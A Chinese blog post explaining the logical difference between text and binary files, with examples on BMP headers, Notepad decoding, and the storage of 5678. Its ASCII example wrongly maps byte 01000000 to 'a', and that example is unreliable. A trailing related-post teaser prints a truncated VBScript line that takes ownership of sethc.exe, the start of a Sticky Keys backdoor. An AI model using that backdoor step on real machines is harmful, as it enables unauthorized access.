檔案讀取中有意思的現象

2021-06-18 01:38:53 字數 1530 閱讀 4690

一、文字檔案與二進位制檔案的定義

大家都知道計算機的儲存在物理上是二進位制的,所以文字檔案與二進位制檔案的區別並不是物理上的,而是邏輯上的。這兩者只是在編碼層次上有差異。

簡單來說,文字檔案是基於字元編碼的檔案,常見的編碼有ascii編碼,unicode編碼等等。二進位制檔案是基於值編碼的檔案,你可以根據具體應用,指定某個值是什麼意思(這樣乙個過程,可以看作是自定義編碼)。

從上面可以看出文字檔案基本上是定長編碼的(也有非定長的編碼如utf-8),基於字元嘛,每個字元在具體編碼中是固定的,ascii碼是8個位元的編碼,unicode一般佔16個位元。而二進位制檔案可看成是變長編碼的,因為是值編碼嘛,多少個位元代表乙個值,完全由你決定。大家可能對bmp檔案比較熟悉,就拿它舉例子吧,其頭部是較為固定長度的檔案頭資訊,前2位元組用來記錄檔案為bmp格式,接下來的8個位元組用來記錄檔案長度,再接下來的4位元組用來記錄bmp檔案頭的長度。。。大家可以看出來了吧,其編碼是基於值的(不定長的,2、4、8位元組長的值都有),所以bmp是二進位制檔案。

二、文字檔案與二進位制檔案的訪問

文字工具開啟乙個檔案的過程是怎樣的呢?拿記事本來說,它首先讀取檔案物理上所對應的二進位制位元流(前面已經說了,儲存都是二進位制的),然後按照你所選擇的解碼方式來解釋這個流,然後將解釋結果顯示出來。一般來說,你選取的解碼方式會是ascii碼形式(ascii碼的乙個字元是8個位元),接下來,它8個位元8個比特地來解釋這個檔案流。例如對於這麼乙個檔案流"01000000_01000001_01000010_01000011"(下劃線''_'',是我為了增強可讀性,而手動新增的),第乙個8位元''01000000''按ascii碼來解碼的話,所對應的字元是字元''a'',同理其它3個8位元可分別解碼為''bcd'',即這個檔案流可解釋成「abcd」,然後記事本就將這個「abcd」顯示在螢幕上。

事實上,世界上任何東西要與其他東西通訊會話,都存在乙個既定的協議,既定的編碼。人與人之間通過文字聯絡,漢字「媽」代表生你的那個人,這就是一種既定的編碼。但注意到這樣一種情況,漢字「媽」在日本文字裡有可能是你生下的那個人,所以當乙個中國人a與日本b之間用「媽」這個字進行交流,出現誤解就很正常的。用記事本開啟二進位制檔案與上面的情況類似。記事本無論開啟什麼檔案都按既定的字元編碼工作(如ascii碼),所以當他開啟二進位制檔案時,出現亂碼也是很必然的一件事情了,解碼和解碼不對應嘛。例如檔案流''00000000_00000000_00000000_00000001''可能在二進位制檔案中對應的是乙個四位元組的整數int 1,在記事本裡解釋就變成了"null_null_null_soh"這四個控制符。

文字檔案的儲存與其讀取基本上是個逆過程,不再累述。而二進位制檔案的訪問顯然與文字檔案的訪問差不多,只是編/解碼方式不同而已,也不再敘述。

五、例項

5678的儲存形式為:ascii碼:    00110101   00110110   00110111   00111000  (四個位元組) 

5678的儲存形式為:二進位制:      00010110   00101110  (兩個位元組)

二進位制檔案和文字檔案的唯一差異就是前者含有一些非標準輸出的ascii碼。0x01就是非標準輸出的ascii碼,0x61就是標準輸出的ascii碼。)

有意思的後門

dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...

有意思的number format

申明 這是個人原創,在cnblogs上也有,都是自己寫的所以放原創了。number format number,decimals,decimalpoint,separator 有四個引數,第乙個和第二個引數是必須的,第三個和第四個是可選項。但實際測試中第三個和第四個這兩個引數必須同時存在,也就是要麼...

有意思的遞迴

先來乙個入門的 上初中學習數列求和什麼的時候我們就學過高斯的計算1到100的自然數的和的經典課文,那麼如果我們現在用程式的話該怎麼來做呢?自然是迴圈來做這件事。如果不用迴圈怎麼做呢?def sum first,end if end 1 return first elif end 1 return s...